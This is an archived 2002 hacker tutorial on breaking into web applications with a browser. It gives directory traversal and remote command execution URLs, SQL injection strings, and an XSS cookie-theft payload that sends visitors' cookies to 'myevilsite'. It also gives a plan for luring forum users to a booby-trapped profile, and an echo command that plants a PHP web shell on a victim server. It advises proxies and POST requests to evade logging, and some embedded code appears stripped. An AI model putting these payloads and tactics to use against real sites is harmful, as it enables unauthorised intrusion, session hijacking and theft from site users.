TUCoPS :: Web :: Apps :: occweb.txt

The Occasional Hacking of Web Applications

The occasional hacking of web applications
Jun 26 2002
By: spoonfork

In this article, I will highlight some of the most common methods to find bugs and hack
your way into web application using just the web browser. This article does not present
anything new. There are a lot of methods to hack web application, and there are also tons
of tools out there to help you in your hacking endeavours. Consult some of the references
and tools listed at the end of this article if you wish to do some hardcore web hacking. This
article is, however, aimed at the occasional hackers, those who hack whenever there is
time or those who are curious in exploiting URLs.

Hopefully, you may find a few tricks or help get started on web hacking, but please check
out the references for those who develop some of the techniques. Topics covered in this
article include remote command execution, XSS, SQL injection, session ids, and hacking
websites using other websites. NOTE: None of the URLs used in this article are real, they
are hypothetical based on some of the real URLs that I've encountered.

--] 2.0 Tools

You need a web browser. I suggest using Internet Explorer rather than Opera
or any other browsers. This is because IE handles URLs better than Opera.
An example is the following URL:

http://victim/scripts/winnt/system32/cmd.exe?/c+copy+c:winntsystem32

tskill.exe+c:inetpubscriptspskill.exe

IE will send the URL properly to the webserver, whereas Opera will replace
the "" with "/", which may not give you the results that you want unless
you manipulate the URL. In addition, IE gives a nicer output than Opera.

The same thing may happen with the following URL hack:

http://victim/page.pl?file=../../../../../../../bin/ls


Opera will happily write it to become:

http://victim/bin/ls


In some instances, depending on how the web application is written, you
may want to use Opera. An example that I've encountered is SQL injection is
not possible using IE on one site because of cookie handling, but when I
switch to Opera, it was possible. Your mileage may vary in this case.

This will be used save all the interesting URLs that you get, and also
record error messages and various web server messages.

You need a list of reliable proxy servers. If you are really paranoid, hide
your traces using multiple proxies.

--] 3.0 Collecting and Examining URL 1 - Remote Command Execution

URLs are fun. Lets take a look at this example:

http://victim.com/news.pl?date=current&cat=soccer&template=sport&file=3306.txt


An interesting pair of key and value is file and 3306.txt, and the fact that
the site a news site. The following can be deduced:

1. 3306.txt is a random file name that is generated daily
2. 3306.txt is possibly stored in some directory on the server

So what can we do? Try replacing it with the following:

1. 3305.txt
2. 3307.txt
3. foobar.txt
4. a3305.txt
5. 1.txt
6. http://www.google.com (or your favorite URL, no kidding!)
7. ../../../../../bin/ls (or ../../bin/ls or ../bin/ls or ../../bin/ls%00)

I included the last one because of news.pl, a high chance that the server
is hosted on a *nix platform. If you are lucky, you might get interesting
server output.

On some applications that I've tested, the number of "../" may varies. Just
keep on trying until you get the intended output.

If all else fail, you can try the following tricks:

1. http://victim/page.pl?file=../../bin/ls%00

2. http://victim/page.pl?file=|../../bin/ls%00

3. http://victim/page.pl?file=../../bin/ls|


NOTE: On PHP pages, the %00 may not work if the variable magic_quotes_gpc is
set to Off in php.ini. If the setting is on, PHP will change the 0x00 byte into
"", which does not give you the intended results. Also on PHP, executing
commands directly is NOT possible. Refer to Section 5.0 and 8.0 on how to
execute remote commands on PHP powered webservers.

Why would I want to replace 3306.txt with http://www.google.com? If you
are directed to google.com, chances are, you can redirect it to a specially
crafted URL and run commands on the webserver, like:

http://victim.com/news.pl?date=current&cat=soccer&template=sport&

file=http://myevilsite/cmd.php?cmd=ls


where cmd.php in myevilsite contains the following simple code:



This problem was detected in PHPNuke. In my example, this may not happen since
it is a Perl powered web application. Try this out if you encounter any PHP
powered site.

Or why don't we just directly send this query:

http://victim.com/3306.txt


A poorly written web application may give you the text file right away in its
unprocessed ASCII format. If the server gives a message indicating file not
found, the path to 3306.txt may be available if you view the source code of

http://victim.com/news.pl?date=current&cat=soccer&template=sport&file=3306.txt


Another interesting key/value pair is "template" and "sport". "template" may
mean that a HTML template is used to create the HTML file from 3306.txt.
This is a valid assumption since it is almost universal that 3306.txt is an
ASCII text file. In this case, you can replace sport with other values
like the ones that I've shown.

What about "cat" and "date"? Let your imagination and creativity runs wild
with that.

--] 4.0 Collecting and Examining URL 2 - SQL injection

Let's look for potential SQL injection vulnerabilities.

http://victim.com/who.asp?id=3306


This is straighforward. Just replace 3306 with any of the following:

1. 3306'
2. 3306' or 1=1-
3. 3306' union select table_name from information_schema.tables--
3. 3306 union select table_name from information_schema.tables--

If the web application does not filter input properly (in my experiences,
out of 10 websites, only 2 or 3 filter user input), any of the four will
give enough indication for SQL injection attack.

Depending on the original queries, you can also try the following:

1. 3306 or 1=1--
2. 3306" or 1=1-- (double quotes)
3. 3306'or 'a'='a
4. 3306"or "a"="a
5. 3306') or ('a'='a

You can also do the same for POST requests (i.e. web pages that contains
text input boxes). So if the webpage requires you to input login name and
password or seach keyword, key in the above. If there is limitation in the
number of characters you can enter or some JavaScript validation, simply
copy the source and modify it, and use your modified login page instead.

Once you get the appropriate error messages, you can carry on performing
advanced SQL injection techniques.

--] 5.0 Examining URL 2 - Cross Site Scripting

I don't normally fancy XSS, but one XSS techniques that I would like to
explain is cookie theft.

The technique to manually look for XSS vulnerabilities is the same as
explained in Section 3.0. Here are some samples of XSS vulnerabilities:

- http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/

education/?ID=MCTN&target=alert(document.cookie)

- http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=

alert(‘Test’);

In the first URL, you will get a pop window displaying cookie. Your cookie
may contain username and a base64 decoded password (which we all know is a no
brainer to crack). What we want to do is steal cookies using the simplest means
possible.

One good target is community sites and forum. To test for XSS vulnerabilities,
simply put the following in a submission text box:

alert("fookimak")

Preview (!) your submission, and wait for the pop-up. Other things that you
can try are (replace [code] with the Javascript code that you want to execute:

-
-
- &[code]
- &{[code]}; (Nescape 4)
- (Netscape 4)
-
- (IE)

So what next? We need a way to capture the cookies. Set up an evil page on
another evil server. This evil page will capture all the cookies. The
following simple PHP code can be used:



Put that in your server, and link it from the forum/news page like this:

document.location='http://myevilsite/cookie.php%3Fcookie='+document.cookie'


Cookies will be sent to myevilsite everytime web surfers read the posting, and
written to the file cookie.txt.

Some hints:
1. Choose a community server.
2. Create an interesting and alluring profile, preferably with pictures of
models (but don't make it too obvious).
3. Check for XSS vulnerabilities on the personal info page.
4. If XSS is possible, embed the XSS code in your personal information.
5. Start participating in forums by posting provocative, etc, messages (you get
the idea).
6. Chances are, if you are "interesting" enough, they will view your profile
and in doing so, giving you their cookie!

Also, you may want to try embedding XSS code in the topic for forum pages.
You'll collect cookies faster this way.

If you don't have a server, apply for an account at sourceforge and put your
script there, but I advise strongly against this. Or you can jump to
Section 8.0 to find out how I attack another site using yet another site.

--] 6.0 Examining URL 3 - Overflowing using lynx and Perl

The techniques here can be used to overflow web applications. To find potential
target, refer to Section 3.0. What you need here is any *nix and Perl.
Alternatively, if you use Windows (like I do), you can install cygwin.

Its fairly easy. On the prompt just type:

lynx http://victim/page.pl?id=`perl -e 'print A x 1024'`

This generate

http://victim/page.pl?id=AAAAAAAAA...... (1024 As)

What can we achieve here? Well, for one thing, we may potentially crash the
application or the webserver.

--] 7.0 Examining URL 4 - Hijacking Session IDs

A more interesting attack is in the form of session ID hijacking. Simply put,
session ids are assigned to a user whenever he or she logs in or access a
website. This id will be propagated throughout the session, and by using this
id, the user does not need to supply username or password to browse the
website. The session is destroyed when the user logs out or when the browser
is closed.

Some application attach the session ids on the URL, while others write it to
temporary files, or insert it to database.

Session ids are easy to identify. The following are samples of session ids
taken from one website:

http://onewebsite/profile_update.jsp?Session_ID=1489175916.1017727385

http://onewebsite/profile_update.jsp?Session_ID=0970763919.1017727922

http://onewebsite/profile_update.jsp?Session_ID=1872895514.1017728566


These ids are hard to predict, but given enough time, more samples, and
resources, an attacker can probably generate a sequence of ids that can be
used to hijack a session.

This is an example of a randomly generated link from one card greeting site:

http://starsite/view_card.asp?card_id=69&uid=3306

http://starsite/view_card.asp?card_id=17&uid=3245

http://starsite/view_card.asp?card_id=88&uid=5416


An attacker can replace uid with any valid four digits, and view other people's
greeting cards provided that the id is still valid.

Session ids may also be in put in hidden fields in the HTML page. To discover
hidden session ids, take time to view the HTML source :)

Hijacking session ids is beyond the scope of this article. You can get more
information from this excellent paper written by David Endler of iDefense.
It contains some Perl script that you can customize to generate session ids.

--] 8.0 Websites Attacking Websites - How to Minimize Your Resources

I include this part because I had the following problem: I don't have my own
webserver and I have forgotten my tripod login name and password, and I want
to run commands as explained in Section 5.0. However, I've found two
web applications - one allows remote command execution (it is Perl based, and
runs Apache on some *nix), one allows remote file inclusion (it is PHP based,
and runs on Apache on some *nix), as explained in Section 3.0 and 5.0.

Assume the two URLs are like these:

http://victim1/page.php?file=http://www.google.com

http://victim2/fooki.pl?pos=../../bin/ls


On victim1, I am unable to execute remote commands, but I am able to include
other URLs (this is a feature of the fopen() function in PHP, in which you
can open URLs). In this case, I want to include a URL that allows me to
execute remote command on victim1, like this:

http://myevilsite/cmd.php?cmd=ls
">http://victim1/page.php?file=http://myevilsite/cmd.php?cmd=ls


where cmd.php is as simple as



Sadly, I don't have myevilsite. Instead I am going to create cmd.php on
victim2, in order to have:

http://victim2/cmd.php?cmd=ls
">http://victim1/page.php?file=http://victim2/cmd.php?cmd=ls



Unfortunately, I cannot upload files to victim2, and using wget, fetch does
not work because of firewall.

http://victim2/fooki.pl?pos=../../bin/wget%20http://hax0r/cmd.php


Easy, just use the echo command to create cmd.php:

http://victim2/fooki.pl?pos=../../bin/echo -e "74%3fphp system(%3fcmd); ?76" > cmd.php.

Note that, in the echo command, I've give the option "-e" to enable
interpretation of the backslash escape character. "" are replaced
with their octal values 074 and 076 respectively. "?" is replaced with its
hex value %3f. After you've created the file, you can check it using cat. If
all goes well, the simply do:

http://victim2/cmd.php?cmd=ls
">http://victim1/page.php?file=http://victim2/cmd.php?cmd=ls


This gonna put some people into deep shit :D

cmd.php can be written to support many features, such as file uploading
capabilities. In fact, POST method is preferred to execute commands because
POST's variables are not logged by the webserver.

Similarly, you can also create the cookie harvester in Section 5.0 and place
in it victim2.

--] 9.0 Application Attack Example - PHPNuke

Many vulnerabilities have been discovered regarding PHPNuke. I suggest readers
to consult the following links to learn more about PHPNuke vulnerabilities,
and apply the methods to other application.

http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt

http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt

http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt


--] 10.0 Conclusion

One of the most interesting method to discover web application vulnerabilities
is to familiarize oneself with URLs. Good hackers are able to find
vulnerabilities just by looking at the URL.

Another method is fault injection (which encompasses SQL injection and XSS).
This method is simply injecting random, weird, etc values to a query string,
and then observing the output from the web application and/or web server.

--] 11.0 References

*The title is chosen, because, I hack web pages occasionally :D

[1] http://online.securityfocus.com/archive/1/272037

[2] http://www.cgisecurity.com/articles/xss-faq.txt

[3] http://mel.ini2.net/p/sql_injection_walkthrough.txt


--] 12.0 Tools

You might be interested in these tools.

[1] ScreamingCSS, http://www.devitry.com/screamingCSS.html

A Perl script that can scan webpages for XSS vulnerabilities, written by
David deVitry

[2] mieliekoek.pl, http://mel.ini2.net/tools/mieliekoek.pl

A Perl script that test webpages for SQL injection vulnerabilities, using
POST requests, written by Roelof W Temmingh

[3] sql_enum.pl, http://mel.ini2.net/tools/sql_enum.pl

I use this to enumerate any fields/columns/table in a database once I am
able to verify and construct the appropriate SQL injection queries.

[4] sqlscan.pl, http://mel.ini2.net/tools/sqlscan.pl

A lame script that test a webpage (just a page at a time) for SQL injection
vulnerabilities using GET requests.

[5] WebSleuth, http://www.geocities.com/dzzie/sleuth/

A very fine tool written by dzzie. Contains several plugins such as a web
crawler, SQL injection tester, and session IDs scanner.

[6] Whisker, http://www.wiretrip.net

The web scanner tool of choice, written by Rain Forest Puppy. To be frank,
I have never used whisker.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH